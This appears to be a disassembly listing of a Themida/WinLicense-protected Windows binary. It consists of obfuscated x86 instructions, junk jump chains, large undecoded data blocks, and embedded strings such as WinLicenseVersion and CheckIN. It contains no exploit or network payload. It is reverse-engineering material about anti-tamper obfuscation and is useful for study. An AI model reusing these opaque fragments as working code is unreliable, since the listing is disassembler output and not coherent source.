		pop	eax
		jmp	loc_5A2C79
; ---------------------------------------------------------------------------
		db 31h
		dd 31DF31FBh, 87D7F7FBh, 5EBC1FBh, 0C1D6E956h, 1489FFFFh
		dd 0B8A5E924h, 6168FFFEh, 8900000Eh, 5A532414h,	0E9241C8Bh
		dd 0FFFEDDD4h, 0EA92D5Dh, 0E82945CEh, 0EF468h, 241C8900h
		dd 0FFD3A3E9h, 5EAC1FFh, 90EBEA81h, 0D029C1AAh,	8B088B5Ah
		dd 89512404h, 0D9C3E9E1h, 0FF2DFFFEh, 0E9FFFFFFh, 0FFFEF3CFh
		dd 20E9CD2Ch, 80FFFFEBh, 0F380A5E3h, 0E9DA086Fh, 0FFFF4198h
; ---------------------------------------------------------------------------


loc_5A2DE8:				; CODE XREF: Themida_:0059A109j
		mov	[esp], cx
		jmp	loc_59E0B5
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 8B000000h, 89572404h, 0DFBD55E7h, 0C1592B66h, 0E95204EDh
		dd 0FFFEBEBAh
; ---------------------------------------------------------------------------


loc_5A2E0C:				; CODE XREF: Themida_:00595859j
		mov	ebp, 74046726h
		and	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_59CA13
; ---------------------------------------------------------------------------
		dw 295Ah
		dd 0FE315EF7h, 5EF0315Fh, 0FF29F4E9h
		db 0FFh
byte_5A2E39	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0058E104o
		dd 6658669Dh, 9C240419h, 0FEB50AE9h, 241C89FFh,	98B5E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2E52:				; CODE XREF: Themida_:0059063Fj
		mov	ecx, ebp
		pop	ebp
		add	ebp, ecx
		pop	ecx
		jmp	loc_59A76F
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 30h
		dd 1A670ECh, 0F82958C7h, 0FF106AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2E6D:				; CODE XREF: Themida_:0059BBA3j
		or	ecx, 68C550A2h
		xor	ecx, 68E02689h
		add	ecx, 71501B82h
		and	ecx, 2925247Fh
		sub	ecx, 663A4567h
		push	4D27h
		mov	[esp], edx
		jmp	loc_59E749
; ---------------------------------------------------------------------------


loc_5A2E98:				; CODE XREF: Themida_:005A0228j
		mov	ebx, [esp]
		add	esp, 4
		inc	ebx
		add	ebx, 20082222h
		jmp	loc_59FCD4
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 0E9000000h, 0FFFF797Ah, 2404335Fh, 33240431h, 0A8E92404h
		dd 58FFFFB9h, 5AC0685Ah, 97E90000h, 89FFFF0Ch, 0E68956E3h
		dd 0FEE881E9h, 3DB305FFh, 0A7E92429h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2EE7:				; CODE XREF: Themida_:005A24F5j
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_597500
; ---------------------------------------------------------------------------
		db 81h
		dd 0E0B33BE9h, 59CA8929h, 4AC8F281h, 0D129793Eh, 0B6B8505Ah
		dd 2D41B611h, 0FFFFFFFFh, 0F704E8C1h, 32512DD8h, 0E8C163FEh
		dd 0DE782D04h, 0C131696Dh, 59CB0158h, 0FF623DE9h, 4C581FFh
		dd 56000000h, 4BEh, 5EF50100h, 8B242C87h, 89572424h, 76FBE9E7h
		dd 0E958FFFFh, 0FFFF5FE6h, 0E9242C89h, 0FFFFD6F7h, 0A7B1E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2F6A:				; CODE XREF: Themida_:0058E3C8j
		xor	ebp, 6BFD68A9h
		xor	ebp, 426C23A7h
		sub	ebp, 0E6E54ECEh
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 0A5A3B514h
		mov	esi, ebx
		jmp	loc_58EDF4
; ---------------------------------------------------------------------------
		dd 7A331E2Dh, 4ADCE942h, 0C00BFFFFh, 0FE840Fh, 0D968FFFFh
		dd 89000063h, 5157241Ch, 0C466A268h, 0E953591Eh, 0FFFEEB9Ah
		dd 0BBh, 88C38100h, 14E5E6Bh, 88EB81D3h, 684E5E6Bh, 46FBh
		dd 0FF325EE9h, 0E9CB29FFh, 0FFFFC3FCh, 405h, 4E88300h
		dd 8B240487h, 2C892424h, 3AE95624h, 57FFFEB4h, 0E3E9E789h
		dd 31FFFFDBh, 14F751C8h, 0C8315924h, 0FF5AA7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3005:				; CODE XREF: Themida_:005A0827j
		not	al
		or	al, 0ACh
		jmp	loc_58FF80
; ---------------------------------------------------------------------------


loc_5A300E:				; CODE XREF: Themida_:00597086j
		xor	ecx, [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A3020:				; CODE XREF: Themida_:005A0211j
		push	ecx
		push	ebp
		mov	ebp, 34BF5E9Dh
		mov	ecx, 34BF5E99h
		xor	ecx, ebp
		pop	ebp
		sub	eax, ecx
		jmp	loc_59E50A
; ---------------------------------------------------------------------------
		dw 0AA68h
		dd 0E9000078h, 0FFFFE68Eh, 8B241433h, 0F662424h, 9C2404ABh
		dd 0FF1DA8E9h, 5BDD89FFh, 0A2BA5250h, 0B84F804Fh, 5E601F48h
		dd 55AD031h, 114260Dh, 392DD8F7h, 0E937373Bh, 0FFFF3FE4h
		dd 5EE9C4FEh, 66FFFFF5h, 0E933AF2Dh, 0FFFFCC42h
dword_5A3084	dd 240C8B66h, 0FF03B5E9h, 875405FFh, 0C32981E7h, 30B85058h
					; DATA XREF: Themida_:0058E2C0o
		dd 0F7541B3Ch, 0D874E9D8h, 0F681FFFEh, 0ADFC164h, 90E9F329h
		dd 81FFFFB2h, 775ADECFh, 7EB95106h, 490C150Bh, 3FEEC181h
		dd 0CF315906h, 81240C8Bh, 4C4h,	8AE94F00h, 5FFFFFDh, 4
		dd 0FF76B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A30DD:				; CODE XREF: Themida_:005A1F25j
		push	1C1Fh
		mov	[esp], edx
		jmp	loc_59A9EC
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 12D253E6h, 0FEC2CDE9h, 0F7595BFFh, 0ED99E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A30FE:				; CODE XREF: Themida_:00591FB8j
		pop	esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 20DE7F2Ch
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 30520B11h
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59599F
; ---------------------------------------------------------------------------
		dd offset byte_402270+0EF8h
		align 4
		dd 89242C89h, 565053E5h, 7A6F7ABEh, 0C56CE935h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A315A:				; CODE XREF: Themida_:005A0A61j
		add	esi, 4
		push	2BC6h
		mov	[esp], ebp
		jmp	loc_59483D
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 7Fh
		dd 0E93FF350h, 0FFFFF3C5h
; ---------------------------------------------------------------------------


loc_5A3178:				; CODE XREF: Themida_:00591D40j
		xchg	eax, [esp]
		pop	esp
		add	ebp, 0ADD39CCh
		sub	ebp, ecx
		sub	ebp, 0ADD39CCh
		jmp	loc_593672
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4082424h, 0DBE99C24h, 81FFFEE1h, 5F194DF7h, 0E9FA013Dh
		dd 0FFFF26F2h, 2404FF53h, 0F2BE565Bh, 0E90E5C43h, 0FFFF508Dh
; ---------------------------------------------------------------------------


loc_5A31B8:				; CODE XREF: Themida_:005959ACj
		sub	ebx, 643D3C8Ch
		shr	ebx, 4
		xor	ebx, 8B364F7h
		push	ecx
		mov	ecx, 6F3C79A9h
		push	ebp
		jmp	loc_5A2ABA
; ---------------------------------------------------------------------------
off_5A31D3	dd offset dword_49005C+1DB0Ch ;	DATA XREF: Themida_:0058E2B8o
		align 4
		dd 0E9243C89h, 0FFFF7F3Bh, 0EF80D7F6h, 4EC8398h, 0B2241489h
		dd 7EAC0D2h, 0E92BB551h, 0FFFFA97Ch, 3657F781h,	0F7817445h
		dd 0F0BB8180h, 835FF901h, 0C3304C1h, 240C3124h,	5C240C33h
		dd 8B24048Fh, 48F2424h,	24248B24h, 24148966h, 0FF9F3AE9h
		dd 285A66FFh, 240C8BE8h, 4C481h, 0F0000000h, 0FE82B353h
		dd 80C3FECBh, 0C380EBC3h, 0A19CE943h, 0C281FFFFh, 638D3216h
		dd 0BC69F281h, 0D701B9B3h, 0FDC3815Ah, 13A4E4Ch, 0FDEB81FBh
		dd 5F3A4E4Ch, 4B850h, 66E90000h, 81FFFEFAh, 636F1FC1h
		dd 65B85022h, 50124F58h, 8B2414F7h, 0C4832404h,	5E0C104h
		dd 0C372F705h, 0D061E999h, 248BFFFFh, 4C48124h,	50000000h
		dd 0C936B5B8h, 2E8C165h, 0B205D0F7h, 0E919724Dh, 0FFFF5F66h
		dd 0B099E95Ch, 30FFFFFEh, 52240C8Bh, 820FE954h,	5858FFFFh
		dd 3087E955h, 2BAFFFFh,	50000000h, 124184B8h, 0BF57406Ah
		dd 1CBA77B9h, 0F702E7C1h, 3402E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A32EA:				; CODE XREF: Themida_:00598C4Dj
		mov	dh, 2Ch
		or	cl, dh
		pop	dx
		push	bx
		mov	bl, 10h
		add	cl, 6
		add	cl, bl
		jmp	loc_598FF6
; ---------------------------------------------------------------------------
		dw 41E9h
		dd 0A6000000h, 555CF379h, 33524553h, 6C642E32h,	4441006Ch
		dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh
		dd 507D800h, 2000500h, 3A000F00h, 15000200h, 1,	2 dup(0)
		dd 976E9h, 9A236800h, 2FE90617h, 68FFFDE5h, 6179AB9h, 0FDE525E9h
		dd 9BF268FFh, 1BE90617h, 68FFFDE5h, 6179D6Bh, 0FDE511E9h
		dd 9DCF68FFh, 7E90617h,	68FFFDE5h, 6179EBFh, 0FDE4FDE9h
		dd 9F3268FFh, 0F3E90617h, 84FFFDE4h, 44DBBA2Ah,	93A075E5h
		dd 0FC33C232h, 0BA690C7Ch, 6E2DC838h, 9000823Dh, 59C92E05h
		dd 950567BCh, 60D03300h, 0A91C4295h, 16916B60h,	0B2B28A0Bh
		dd 0B8E89859h, 0FB3B1FA6h, 8042169Bh, 93F89CC5h, 614E5F16h
		dd 1072BF9Dh, 0F19976A0h, 7405A2D2h, 79A94DECh,	0D3BF7065h
		dd 0B007291Eh, 19C184DAh, 0E4C973CCh, 293E63E2h, 0ECBDF682h
		dd 62E1FBC3h, 0F682293Fh, 3264D431h, 38D2E35Dh,	0A4CC6CFEh
		dd 0E39009EDh, 91AD82D8h, 98C8B332h, 55D5C2F0h,	0F3DCB1E5h
		dd 0F52F1EBh, 0EEFC9CD3h, 0A272DDDh, 547D48A9h,	0B5FC9CD3h
		dd 9CD3CB0Eh, 3FE1B2FCh, 7FB4416Eh, 78F18CFCh, 67D1DD9Dh
		dd 7BCE54Dh, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh
		dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh
		dd 0FA9B0B68h, 1B3E05C9h, 0E2169168h, 0C7241B21h, 347D5F57h
		dd 0A8F154B5h, 531086F2h, 137D6D42h, 982B3363h,	169E8B4Dh
		dd 74E4456Eh, 0F99D4D42h, 9F1D1628h, 6B42873Eh,	18291691h
		dd 0DBFC5E37h, 0E3DBB1CCh, 98E80A10h, 2B55E79h,	1282E72Ch
		dd 0D23F2B24h, 1F140272h, 54B5109Ch, 91FCA8F1h,	6D425316h
		dd 7956C626h, 0E0B125A4h, 3CB8BEB7h, 726h, 24F161DDh, 5B3AAA0Fh
		dd 1CF969C4h, 6431A107h, 1AFB6BCFh, 2F930E7Dh, 0E649D6BFh
		dd 34909F76h, 810231C4h, 8B538411h, 916891B8h, 0A19B5C16h
		dd 72E2624Fh, 0F2B0D96Ch, 6A3B1086h, 0C0309380h, 0EE5EDDD6h
		dd 8934C5A8h, 0A81E3DC0h, 64C397h, 24D70000h, 0EC4D66C7h
		dd 0E0453A7Ch, 1086F2B9h, 0B95C7344h, 0F297B673h, 6AC91086h
		dd 0F2173A09h, 0D4D61086h, 86F22871h, 0EDC2D310h, 0F8D747A6h
		dd 8200311Dh, 3F2B2412h, 6975A559h, 9C64BEDAh, 506E3F16h
		dd 6D71E163h, 808DD46Fh, 5F701693h, 0F153E0ABh,	249FBD81h
		dd 169380FDh, 51BBAF80h, 671F1h, 864FC500h, 3B9D7Ah, 0E736A74Fh
		dd 165EBFB5h, 63E05139h, 0D8D9C3F3h, 99FFEB5Bh,	0D801C4E5h
		dd 16108698h, 0B17A2696h, 2E6106FAh, 0C5EAC577h, 0B58A4AF9h
		dd 5A6B169Bh, 7B0764BBh, 0B18E88F8h, 4697C09Eh,	0D3CAE50Ch
		dd 0D8F767C5h, 0A3536332h, 92D86B73h, 1B108B57h, 7DFF340Ah
		dd 39BB680Dh, 5CE7F5C9h, 1CAB8735h, 903E7B8h, 0FD89EE43h
		dd 350A0C7Ch, 40C3701Ah, 49C84DD0h, 151FB1CAh, 5EDADh
		dd 28981600h, 0E353D64Dh, 30A01D12h, 0FA6ACE65h, 36A6041Bh
		dd 5043485Fh, 3CF382F2h, 75AA4BBBh, 41EE87F7h, 10C352C2h
		dd 6952774Eh, 58191691h, 57C724E4h, 0B4347D5Fh,	0F2A9F053h
		dd 43541086h, 0B5552A6Ch, 638FF774h, 9F96027Ah,	391E200Fh
		dd 0B17C0931h, 10FEEC1Dh, 0E72F9F23h, 8E091F1Eh, 3D7633EFh
		dd 0D34B4BBBh, 3291614Ch, 10860CEFh, 0AB92BD8Eh, 9AB6A30Ah
		dd 0F210860Ah, 0A919B143h, 0FEA73F97h, 5F7DFFFFh, 87FEBDE4h
		dd 7B6F4010h, 57C72497h, 91A64E87h, 6952774Eh, 8191086h
		dd 42F4C72Fh, 77484EBEh, 0F684B258h, 794C1242h,	169CC3DDh
		dd 0C0E68FA0h, 370ED000h, 1089FEC3h, 8F7DB98Ah,	910110C6h
		dd 4B3FD1A4h, 0AD192C70h, 8934DB1Ch, 0D4093DC0h, 193C3A3h
		dd 0B2D70000h, 2A1B3C59h, 40D3C1D2h, 0F1C9E5Ah,	2C03907Ch
		dd 7CA4543Eh, 88F56CB0h, 320C23C3h, 9B018F93h, 0C3278C16h
		dd 0F6BEE362h, 6C3D1690h, 2EF7A743h, 0F85B32CAh, 36C8E7F4h
		dd 771F678Fh, 407010ECh, 2503C77Eh, 0BDEAC96Ch,	0F6C7CF3Fh
		dd 0C7CF3FBDh, 4BDDD9F6h, 0E0637BABh, 0F09969E5h, 0C597A778h
		dd 3459B590h, 0BA7344B4h, 0C0711990h, 3E63E243h, 0BDFC9CEEh
		dd 0B6FBC3ECh, 4726C434h, 0E7F35BD8h, 3BDDC641h, 96BB8A54h
		dd 55FC9C30h, 0FB926B44h, 0E0D1DCFCh, 4746ED6h,	2F8F0000h
		dd 0E849D6BFh, 27869D78h, 0EF51DEB7h, 2989967Fh, 0CCBFDCB9h
		dd 740171D1h, 2DC838BFh, 6F0676F6h, 42D343C0h, 0D3F6CD91h
		dd 9A16916Fh, 0BAB63D9h, 0FCD903DBh, 30D649D7h,	8221C96Fh
		dd 169EDD4Bh, 0C25390Ah, 57C724B0h, 7EEE525Fh, 88977E51h
		dd 697ABC2Ch, 0E6039A0Ah, 79B7DFD0h, 410F77Bh, 93F30000h
		dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh
		dd 950565h, 0B95CCC33h,	0FB9A0A6Ah, 0BE57C724h,	577A4915h
		dd 1616916Fh, 0C724E755h, 98E9A5Fh, 0CFE07045h,	0E959DAC7h
		dd 0C737B4ADh, 8BAA06CFh, 7B82E40Bh, 4D49B938h,	558E41E8h
		dd 0AC617668h, 4554FEEh, 0AC137E6Ch, 86456DADh,	8E169F10h
		dd 1C97A8CDh, 0FFFFFCE1h, 82864FF0h, 0E7EFF25h,	0F73FAC29h
		dd 25951613h, 87B787F1h, 0CEB40CB7h, 0E8B9169Ch, 0EA5ADDD6h
		dd 5C37D3ACh, 935EB2D0h, 18ABB3E3h, 169BFB30h, 85526C3Dh
		dd 2B758F4h, 0ABF199DEh, 8B828B18h, 252730BEh, 0E124C421h
		dd 0BE2E9281h, 0E212E6CCh, 69DC02DCh, 0BEAB2E20h, 0B510FACBh
		dd 0B8B1D4EDh, 0F177BF90h, 82411D4Dh, 0A2DEDF03h, 347D4152h
		dd 81AE47B7h, 0E80B9202h, 7B039F92h, 320F979h, 63E30000h
		dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh
		dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h
		dd 616916Ch, 0BABB785h,	0D8D903DBh, 0D0ADE959h,	8B5C8B3Ah
		dd 0A1B169Eh, 979FF34h,	56D6DB61h, 0CE3EBCF5h, 0B4EF7C8h
		dd 0F216916Bh, 0B8670E21h, 0D9CACC3Ch, 8F23F25Ah, 0F2B7538Ah
		dd 91340DDh, 6254B7E0h,	2ADE2h,	68D85600h, 0A313968Dh
		dd 70E05DD2h, 0BA2A8EA5h, 76E644DBh, 1083089Fh,	7CB342B2h
		dd 35EA8BFBh, 81AE47B7h, 0D0039202h, 6D12370Eh,	18D91691h
		dd 0DB0BAB24h, 0AE03D903h, 256CD949h, 0C81086F2h, 0D040BCF7h
		dd 8B5C8B3Ah, 0A1B169Eh, 0E7EFF34h, 333A305h, 0DE600Ah
		dd 6B2267DEh, 0F8C91691h, 32A22112h, 5CE42B2Ch,	2FFBD443h
		dd 67585ECEh, 0E3D3A248h, 4EBFEE16h, 0EF71560Eh, 61834CC8h
		dd 8AA5B20Eh, 95FD7FB4h, 0E2A42601h, 0B6547BF7h, 0F775BEA0h
		dd 20A28F87h, 0A68986B0h, 4EC6D9C4h, 74451691h,	69D13142h
		dd 0D76E6344h, 169168B2h, 5B4F6839h, 75E546D6h,	66D6595Ah
		dd 46705F30h, 0F152B09Fh, 91190F52h, 0F2DDEE16h, 0F464C7ECh
		dd 4B52D5C2h, 9C1F3971h, 0EEBCD7B3h, 82411D4Dh,	16916C57h
		dd 10211526h, 895343B3h, 6FDF5E53h, 0AAEF5627h,	5116916Ch
		dd 0FDBAA40h, 0B1129E22h, 57785541h, 85F576B3h,	5FC043F0h
		dd 916CBDE4h, 406F4016h, 43B3357Eh, 0A6907A53h,	931A0E1Bh
		dd 0A8189B2Ch, 65D556CDh, 0F06A6B31h, 9CCD92Dh,	74F633D7h
		dd 3E771204h, 53BB388Fh, 0D216DFF7h, 0B1446B24h, 2697A8ADh
		dd 0DCFF7D36h, 4BCBADDAh, 95755A8Bh, 70A61694h,	0E950D811h
		dd 0E571D1F6h, 213D1282h, 0C041883Bh, 1B2C1691h, 0F93A246Fh
		dd 300D0979h, 0E959D95Ah, 0C838B4ADh, 8F3EE7CEh, 87CA7963h
		dd 661691C0h, 4B4BBB39h, 7CAD5D72h, 63E78EFEh, 0CC42ED72h
		dd 23C79A3Eh, 211585E6h, 7FA2213Bh, 0FE1691D5h,	755E3D2Dh
		dd 89CEED7Eh, 0E52C97C5h, 88AE0C7Ch, 0F1DCD3B7h, 10E555D6h
		dd 630A023h, 26961B18h,	0BE6B1FF0h, 0D9CACC3Ch,	0B9AAEC5Ch
		dd 0A436CF37h, 90FF2D5h, 0A415F026h, 7FE6AA39h
		dd 84F47750h, 51C142F1h, 0DE657765h, 0AE0CE2BBh, 8667142h
		dd 0B8B0A9A8h, 7D417713h, 7BDA5855h, 209DC5EAh,	0AEB09FB0h
		dd 113F7F17h, 112DFEA8h, 3C51784Bh, 0B1CD419h, 0D2A6145Fh
		dd 0D0299CA2h, 5BD20145h, 0D4574C4Ah, 777D5A64h, 3DAD1280h
		dd 143304F9h, 0BD2D8FD3h, 869DF892h, 281B525h, 0A1DC2794h
		dd 935F4ED5h, 6AB0C3C2h, 0B654F34Dh, 0EF86F675h, 6353C340h
		dd 0B9E06379h, 0DB351AFEh, 134296ABh, 1D2E9259h, 0CC3CBC6Dh
		dd 0E757D9CAh, 0DC3DC2AFh, 1A942069h, 0D5FACB35h, 8C33E2E1h
		dd 476C6E57h, 0C03D76E6h, 0D0FFBA50h, 710474F7h, 0E5D141C2h
		dd 115Dh, 0D6565B00h, 86673066h, 373C2564h, 4AF298B7h
		dd 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h
		dd 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h, 55783C7Ah
		dd 0C5815D54h, 4, 8704ED83h, 815C242Ch,	4ECh, 242C8900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		push	664237FBh
		mov	edx, [esp]
		add	esp, 4
		shl	edx, 6
		neg	edx
		shl	edx, 6
		xor	edx, 0DA97C960h
		mov	ebp, edx
		pop	edx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	esi
		mov	esi, 54C708A6h
		xor	[esp+4], esi
		pop	esi
		pop	dword ptr [ecx+8]
		xor	dword ptr [ecx+8], 54C708A6h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_581882
; ---------------------------------------------------------------------------
		db 10h
		dd 0B8CE4960h, 617A204h, 0E0FFC503h, 6B088B5h, 10EA340Ch
		dd 33B5F825h, 42986CE4h, 4E77C4A1h, 4BC04834h, 6D93F4A1h
		dd 0A46D8A4h, 423FEF4Ah, 76DE4592h, 1213933Ch, 10D66805h
		dd 0F79F0D8h, 429A23E2h, 5B56EC73h, 629AAA18h, 683347C6h
		dd 34D7458Eh, 60455A79h, 0EF90B0Fh, 848090Fh, 9E8h, 8E68D400h
		dd 0CCF2516Bh, 12E9E5CDh, 4C000000h, 9FB55104h,	0C2734CC2h
		dd 469A69D8h, 0B46FF5C9h, 0C0815816h, 70AEh, 0BE8h, 0DA5E6400h
		dd 37AAC6ACh, 0B4655D39h, 0A1A5B95Eh, 0E9814DDFh, 4DDF85B3h
		dd 17BF108Bh, 810E5757h, 19D28DC2h, 11E828h, 59AD0000h
		dd 349D069Fh, 11FF97BDh, 864EE295h, 0E91881CCh,	12h, 0AFB8943Dh
		dd 4432489h, 8B1488DEh,	0FCE1F583h, 815F1234h, 319252EAh
		dd 12E906h, 0C0710000h,	0B434AE87h, 0FF587185h,	30ECF368h
		dd 0ED2BA960h, 0C12EC281h, 850F7D2Ch, 4, 9B4BBF66h, 8A0F1089h
		dd 0
		dd 4904E883h, 17850Fh, 0C3800000h, 25E91Dh, 0D1AE0000h
		dd 17BB43E9h, 9C2574ECh, 41543D3Dh, 0E95B532Fh,	0FFFFFF68h
		dd 0EF30C15Ch, 9BA281B6h, 953B28D8h, 0E93F9094h, 8Dh, 9DBD8360h
		dd 6152Eh, 5840Fh, 78E90000h, 6A000000h, 303E8000h, 8850Fh
		dd 6A0000h, 35E946h, 3E800000h,	8850F33h, 6A000000h, 24E94610h
		dd 80000000h, 850F343Eh, 8, 0E946306Ah,	13h, 0F353E80h
		dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh,	12h, 17E80h
		dd 8850Fh, 0C4830000h, 15E908h,	858D0000h, 6151395h, 50905090h
		dd 6A243489h, 0D595FF00h, 61061506h, 0C585C6C3h, 4D061509h
		dd 0D03A1368h, 243481A7h, 3E54CBBh, 789B5FFh, 858D0615h
		dd 6153B38h, 8589D0FFh,	61506D5h, 14E8h, 9ACCF100h, 1B26714Bh
		dd 2E741FEEh, 52B8C114h, 5BA5ABEBh, 598D894Ch, 5E061523h
		dd 6890Fh, 8D890000h, 615215Dh,	6918C681h, 51600000h, 86D8D89h
		dd 8B5B0615h, 151735B5h, 0D2336106h, 0F93234FFh, 0C78B665Fh
		dd 3284F781h, 0BB665120h, 0EF819AE6h, 44EFF1B4h, 0C5D8D8Bh
		dd 0EF810615h, 69A78055h, 59D8B57h, 59061510h, 0F163C89h
		dd 48Bh, 0CBB96600h, 4EA8320h, 6CFA81F9h, 0FFFFF97h, 0FFFFB785h
		dd 0AAE9FFh, 6F530000h,	61777466h, 575C6572h, 694C6E69h
		dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h
		dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch
		dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h
		dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h
		dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h
		dd 4F746978h, 54005455h, 4E4970h, 3 dup(0)
		dd 77DEB908h, 77DFD5BBh, 596E9h, 0C1858900h, 8D0617A5h
		dd 17A5BD85h, 858D5006h, 617A527h, 16850h, 95FF8000h, 617A5CDh
		dd 0B5FF196Ah, 617A5C1h, 6A016Ah, 0A556858Dh, 0FF500617h
		dd 17A5BDB5h, 4595FF06h, 0FF061503h, 17A5BDB5h,	0C995FF06h
		dd 0FF0617A5h, 17A5BDB5h, 1995FF06h, 0C3061518h, 0A5C18589h
		dd 858D0617h, 617A5BDh,	27858D50h, 500617A5h, 168h, 0CD95FF80h
		dd 6A0617A5h, 0C1858D04h, 500617A5h, 6A046Ah, 0A580858Dh
		dd 0FF500617h, 17A5BDB5h, 4595FF06h, 0FF061503h, 17A5BDB5h
		dd 0C995FF06h, 0FF0617A5h, 17A5BDB5h, 1995FF06h, 0C3061518h
		dd 0A5C18589h, 858D0617h, 617A5BDh, 27858D50h, 500617A5h
		dd 168h, 0CD95FF80h, 6A0617A5h,	0C1858D04h, 500617A5h
		dd 6A046Ah, 0A568858Dh,	0FF500617h, 17A5BDB5h, 4595FF06h
		dd 0FF061503h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h, 17A5BDB5h
		dd 1995FF06h, 0C3061518h, 0A5C18589h, 858D0617h, 617A5BDh
		dd 27858D50h, 500617A5h, 168h, 0CD95FF80h, 6A0617A5h, 0C1858D04h
		dd 500617A5h, 6A046Ah, 0A593858Dh, 0FF500617h, 17A5BDB5h
		dd 4595FF06h, 0FF061503h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h
		dd 17A5BDB5h, 1995FF06h, 0C3061518h, 0A5C18589h, 858D0617h
		dd 617A5BDh, 27858D50h,	500617A5h, 168h, 0CD95FF80h, 6A0617A5h
		dd 0C1858D04h, 500617A5h, 6A046Ah, 0A543858Dh, 0FF500617h
		dd 17A5BDB5h, 4595FF06h, 0FF061503h, 17A5BDB5h,	0C995FF06h
		dd 0FF0617A5h, 17A5BDB5h, 1995FF06h, 0C3061518h, 282DBD83h
		dd 0F000615h, 0B84h, 2D9D8B00h,	83061528h, 3894CC3h, 2DBD83C3h
		dd 61528h, 0B840Fh, 9D8B0000h, 615282Dh, 8950C383h, 0BD83C303h
		dd 615282Dh, 0B840F00h,	8B000000h, 15282D9Dh, 54C38306h
		dd 83C30389h, 15282DBDh, 840F0006h, 0Bh, 282D9D8Bh, 0C3830615h
		dd 0C3038958h, 282DBD83h, 0F000615h, 0B84h, 2D9D8B00h
		dd 83061528h, 3895CC3h,	8960C3C3h, 17A5C185h, 0BD858D06h
		dd 500617A5h, 0A527858Dh, 68500617h, 80000001h,	0A5CD95FFh
		dd 46A0617h, 0A5C1858Dh, 6A500617h, 8D006A04h, 17A5B885h
		dd 0B5FF5006h, 617A5BDh, 34595FFh, 0BD830615h, 61508F5h
		dd 0C840F00h, 0FF000000h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h
		dd 17A5BDB5h, 1995FF06h, 61061518h, 858960C3h, 617A5C1h
		dd 0A5BD858Dh, 8D500617h, 17A52785h, 1685006h, 0FF800000h
		dd 17A5CD95h, 8D046A06h, 17A5C185h, 46A5006h, 858D006Ah
		dd 617A59Ah, 0BDB5FF50h, 0FF0617A5h, 15034595h,	0F5BD8306h
		dd 61508h, 0C840Fh, 0B5FF0000h,	617A5BDh, 0A5C995FFh, 0B5FF0617h
		dd 617A5BDh, 181995FFh,	0C3610615h, 0C1858960h,	8D0617A5h
		dd 17A5BD85h, 858D5006h, 617A527h, 16850h, 95FF8000h, 617A5CDh
		dd 858D046Ah, 617A5C1h,	6A046A50h, 0A1858D00h, 500617A5h
		dd 0A5BDB5FFh, 95FF0617h, 6150345h, 8F5BD83h, 0F000615h
		dd 0C84h, 0BDB5FF00h, 0FF0617A5h, 17A5C995h, 0BDB5FF06h
		dd 0FF0617A5h, 15181995h, 60C36106h, 0A5C18589h, 858D0617h
		dd 617A5BDh, 27858D50h,	500617A5h, 168h, 0CD95FF80h, 6A0617A5h
		dd 0C1858D04h, 500617A5h, 6A046Ah, 0A5A9858Dh, 0FF500617h
